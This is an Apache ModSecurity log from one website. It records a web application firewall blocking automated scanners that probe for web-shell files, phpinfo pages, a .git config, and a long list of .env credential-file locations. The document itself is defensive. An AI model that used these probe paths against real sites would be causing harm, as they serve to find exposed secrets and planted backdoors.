[Sat May 09 01:34:29.636916 2026] [:error] [pid 51113:tid 51136] [client 130.131.249.131:23532] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "af4epUQfs7sWtqkpQIebdwAAANU"]
[Sat May 09 01:34:29.747706 2026] [:error] [pid 51008:tid 51066] [client 18.220.167.180:46524] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core/phpinfo.php"] [unique_id "af4epXB58C2Y1tgLtuLbsQAAAFE"]
[Sat May 09 01:34:30.046588 2026] [:error] [pid 51008:tid 51073] [client 130.131.249.131:23502] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "af4epnB58C2Y1tgLtuLbsgAAAFg"]
[Sat May 09 01:34:30.493984 2026] [:error] [pid 51008:tid 51070] [client 130.131.249.131:9521] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "af4epnB58C2Y1tgLtuLbtQAAAFU"]
[Sat May 09 01:34:30.578989 2026] [:error] [pid 51008:tid 51052] [client 18.220.167.180:46538] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/includes/phpinfo.php"] [unique_id "af4epnB58C2Y1tgLtuLbtgAAAEM"]
[Sat May 09 01:34:30.978792 2026] [:error] [pid 61355:tid 61380] [client 130.131.249.131:9540] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "af4epvkhJTi30CBXmMkyoQAAAZM"]
[Sat May 09 01:34:32.064944 2026] [:error] [pid 61356:tid 61389] [client 130.131.249.131:23363] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "af4eqIx3vpB8oWhUq2MpGwAAAcE"]
[Sat May 09 01:34:32.559851 2026] [:error] [pid 61317:tid 61340] [client 130.131.249.131:9573] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "af4eqM-fFk_CedOCOYsM2AAAAVQ"]
[Sat May 09 01:34:32.955151 2026] [:error] [pid 61317:tid 61339] [client 130.131.249.131:9489] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aevly.php"] [unique_id "af4eqM-fFk_CedOCOYsM3AAAAVM"]
[Sat May 09 01:34:51.737060 2026] [:error] [pid 51009:tid 51097] [client 130.131.249.131:23543] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "af4eu-B0GbUWhxgzX9WTbwAAAJU"]
[Sat May 09 01:34:52.152542 2026] [:error] [pid 51007:tid 51039] [client 130.131.249.131:23540] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "af4evFMagSGstWKyzzUa-gAAABE"]
[Sat May 09 01:34:52.537035 2026] [:error] [pid 51007:tid 51032] [client 130.131.249.131:23525] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "af4evFMagSGstWKyzzUa-wAAAAo"]
[Sat May 09 01:34:52.924738 2026] [:error] [pid 61355:tid 61369] [client 130.131.249.131:23438] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "af4evPkhJTi30CBXmMkzFQAAAYg"]
[Sat May 09 01:34:53.302614 2026] [:error] [pid 61356:tid 61400] [client 130.131.249.131:9591] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "af4evYx3vpB8oWhUq2MpWAAAAcw"]
[Sat May 09 01:34:53.690853 2026] [:error] [pid 61355:tid 61368] [client 130.131.249.131:9531] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "af4evfkhJTi30CBXmMkzGAAAAYc"]
[Sat May 09 01:34:54.090380 2026] [:error] [pid 61355:tid 61362] [client 130.131.249.131:9536] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "af4evvkhJTi30CBXmMkzGwAAAYE"]
[Sat May 09 01:34:54.536800 2026] [:error] [pid 34318:tid 34335] [client 130.131.249.131:9537] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "af4evsr3guirgJiKhzAEMQAAAQ8"]
[Sat May 09 01:34:54.913749 2026] [:error] [pid 61355:tid 61371] [client 130.131.249.131:9558] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "af4evvkhJTi30CBXmMkzIQAAAYo"]
[Sat May 09 01:34:55.316144 2026] [:error] [pid 61355:tid 61366] [client 130.131.249.131:9556] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "af4ev_khJTi30CBXmMkzJQAAAYU"]
[Sat May 09 01:34:56.194046 2026] [:error] [pid 61355:tid 61373] [client 130.131.249.131:9515] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "af4ewPkhJTi30CBXmMkzKQAAAYw"]
[Sat May 09 01:34:57.483088 2026] [:error] [pid 61355:tid 61367] [client 130.131.249.131:9593] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "af4ewfkhJTi30CBXmMkzMgAAAYY"]
[Sat May 09 01:34:57.866557 2026] [:error] [pid 61355:tid 61368] [client 130.131.249.131:9590] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samll.php"] [unique_id "af4ewfkhJTi30CBXmMkzNQAAAYc"]
[Sat May 09 01:34:58.248473 2026] [:error] [pid 51009:tid 51081] [client 130.131.249.131:9565] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samll.php"] [unique_id "af4ewuB0GbUWhxgzX9WTfgAAAIU"]
[Sat May 09 01:34:58.661714 2026] [:error] [pid 51009:tid 51091] [client 130.131.249.131:9485] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samll.php"] [unique_id "af4ewuB0GbUWhxgzX9WTgQAAAI8"]
[Sat May 09 01:34:59.045057 2026] [:error] [pid 51009:tid 51100] [client 130.131.249.131:9555] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/samll.php"] [unique_id "af4ew-B0GbUWhxgzX9WTgwAAAJg"]
[Sat May 09 01:34:59.435637 2026] [:error] [pid 51009:tid 51088] [client 130.131.249.131:9523] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "af4ew-B0GbUWhxgzX9WTjAAAAIw"]
[Sat May 09 01:34:59.807305 2026] [:error] [pid 61355:tid 61371] [client 130.131.249.131:23527] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "af4ew_khJTi30CBXmMkzQgAAAYo"]
[Sat May 09 01:35:00.192798 2026] [:error] [pid 61317:tid 61328] [client 130.131.249.131:23537] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "af4exM-fFk_CedOCOYsNDgAAAUg"]
[Sat May 09 01:35:00.577033 2026] [:error] [pid 61355:tid 61375] [client 130.131.249.131:9500] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "af4exPkhJTi30CBXmMkzSwAAAY4"]
[Sat May 09 01:46:58.963543 2026] [:error] [pid 61317:tid 61340] [client 3.80.48.101:55872] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "af4hks-fFk_CedOCOYsRRAAAAVQ"]
[Sat May 09 01:47:01.777468 2026] [:error] [pid 61355:tid 61382] [client 3.80.48.101:58022] [client 3.80.48.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4hlfkhJTi30CBXmMk_WgAAAZU"]
[Sat May 09 01:47:32.116618 2026] [:error] [pid 61355:tid 61373] [client 3.80.48.101:58034] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/test/phpinfo.php"] [unique_id "af4htPkhJTi30CBXmMk_2QAAAYw"]
[Sat May 09 01:47:32.931759 2026] [:error] [pid 61355:tid 61362] [client 3.80.48.101:35722] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dev/phpinfo.php"] [unique_id "af4htPkhJTi30CBXmMk_4AAAAYE"]
[Sat May 09 01:47:33.748597 2026] [:error] [pid 51009:tid 51076] [client 3.80.48.101:35726] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/old/phpinfo.php"] [unique_id "af4hteB0GbUWhxgzX9WZuQAAAIA"]
[Sat May 09 01:47:34.564477 2026] [:error] [pid 61317:tid 61328] [client 3.80.48.101:35730] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tmp/phpinfo.php"] [unique_id "af4hts-fFk_CedOCOYsRkgAAAUg"]
[Sat May 09 01:47:35.377190 2026] [:error] [pid 51009:tid 51099] [client 3.80.48.101:35744] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/phpinfo.php"] [unique_id "af4ht-B0GbUWhxgzX9WZuwAAAJc"]
[Sat May 09 01:47:36.191682 2026] [:error] [pid 61355:tid 61364] [client 3.80.48.101:35750] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/info"] [unique_id "af4huPkhJTi30CBXmMlAAgAAAYM"]
[Sat May 09 01:47:37.003404 2026] [:error] [pid 51009:tid 51081] [client 3.80.48.101:35752] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/php-info.php"] [unique_id "af4hueB0GbUWhxgzX9WZvAAAAIU"]
[Sat May 09 01:47:37.815137 2026] [:error] [pid 51009:tid 51079] [client 3.80.48.101:35754] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/phpversion.php"] [unique_id "af4hueB0GbUWhxgzX9WZvgAAAIM"]
[Sat May 09 01:47:38.628143 2026] [:error] [pid 34318:tid 34327] [client 3.80.48.101:35764] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/_phpinfo.php"] [unique_id "af4husr3guirgJiKhzAG8QAAAQc"]
[Sat May 09 01:47:39.444619 2026] [:error] [pid 51009:tid 51091] [client 3.80.48.101:35766] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/old_phpinfo.php"] [unique_id "af4hu-B0GbUWhxgzX9WZwgAAAI8"]
[Sat May 09 01:47:40.261009 2026] [:error] [pid 61355:tid 61364] [client 3.80.48.101:41022] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/server-info.php"] [unique_id "af4hvPkhJTi30CBXmMlAJgAAAYM"]
[Sat May 09 01:47:41.079540 2026] [:error] [pid 51113:tid 51129] [client 3.80.48.101:41024] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/server-status.php"] [unique_id "af4hvUQfs7sWtqkpQIedkAAAAM4"]
[Sat May 09 01:47:41.901716 2026] [:error] [pid 51113:tid 51120] [client 3.80.48.101:41034] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/_profiler/phpinfo"] [unique_id "af4hvUQfs7sWtqkpQIedlwAAAMU"]
[Sat May 09 01:47:42.719327 2026] [:error] [pid 61356:tid 61397] [client 3.80.48.101:41038] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/_environment"] [unique_id "af4hvox3vpB8oWhUq2Mw2gAAAck"]
[Sat May 09 01:47:43.532936 2026] [:error] [pid 51008:tid 51061] [client 3.80.48.101:41040] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/webroot/index.php/_environment"] [unique_id "af4hv3B58C2Y1tgLtuLfKAAAAEw"]
[Sat May 09 01:47:44.344777 2026] [:error] [pid 61355:tid 61374] [client 3.80.48.101:41042] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mail/phpinfo.php"] [unique_id "af4hwPkhJTi30CBXmMlALgAAAY0"]
[Sat May 09 01:47:45.159284 2026] [:error] [pid 51009:tid 51082] [client 3.80.48.101:41050] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cpanel/phpinfo.php"] [unique_id "af4hweB0GbUWhxgzX9WZ0QAAAIY"]
[Sat May 09 01:47:45.974110 2026] [:error] [pid 51007:tid 51042] [client 3.80.48.101:41052] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hosting/phpinfo.php"] [unique_id "af4hwVMagSGstWKyzzUecgAAABQ"]
[Sat May 09 01:47:46.791484 2026] [:error] [pid 51009:tid 51092] [client 3.80.48.101:41060] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/webmail/phpinfo.php"] [unique_id "af4hwuB0GbUWhxgzX9WZ1AAAAJA"]
[Sat May 09 01:47:47.605268 2026] [:error] [pid 51009:tid 51095] [client 3.80.48.101:41074] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/smtp/phpinfo.php"] [unique_id "af4hw-B0GbUWhxgzX9WZ1wAAAJM"]
[Sat May 09 01:47:48.419523 2026] [:error] [pid 61355:tid 61381] [client 3.80.48.101:41082] [client 3.80.48.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/phpinfo.php.bak"] [unique_id "af4hxPkhJTi30CBXmMlAPAAAAZQ"]
